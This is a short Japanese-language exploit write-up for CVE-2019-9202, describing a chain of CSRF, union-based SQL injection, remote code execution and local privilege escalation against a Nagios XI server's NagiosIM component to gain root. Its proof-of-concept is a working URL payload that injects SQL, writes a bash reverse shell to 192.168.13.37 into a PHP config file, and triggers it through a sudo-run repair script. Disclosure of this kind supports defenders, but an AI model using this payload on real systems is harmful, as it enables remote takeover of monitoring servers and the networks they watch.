CVE-2019-9202

Nagios IM 2.6 リモートコード実行エクスプロイト: CSRF + SQLi + RCE + LPE --> リモートルート

説明

Cross-Site Request Forgery (CSRF) / 認証バイパス (CVE-2019-9203) を連鎖させることで、UnionベースのSQLインジェクション (CVE-2019-9204)、リモートコード実行 (RCE) (CVE-2019-9202)、およびローカル特権昇格 (LPE) (CVE-2019-9166) を悪用し、リモートのNagios XIサーバー上でroot権限を取得することが可能です。

必要条件

被害者はNagios XIに認証されている必要があります。私の知る限り、最低限の権限で十分です。

PoC

http://nagiosxi.local/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=update&token=&incident_id='union%20select%201,2,3,4,"';echo%20%27print%28\"bash+-i+%3e%26+/dev/tcp/192.168.13.37/31337+0%3e%261+%23\"%29%3b'%3e%3e+/usr/local/nagiosxi/html/config.inc.php%3b+sudo+/usr/local/nagiosxi/scripts/repair_databases.sh%3b%23",6,7,8,'x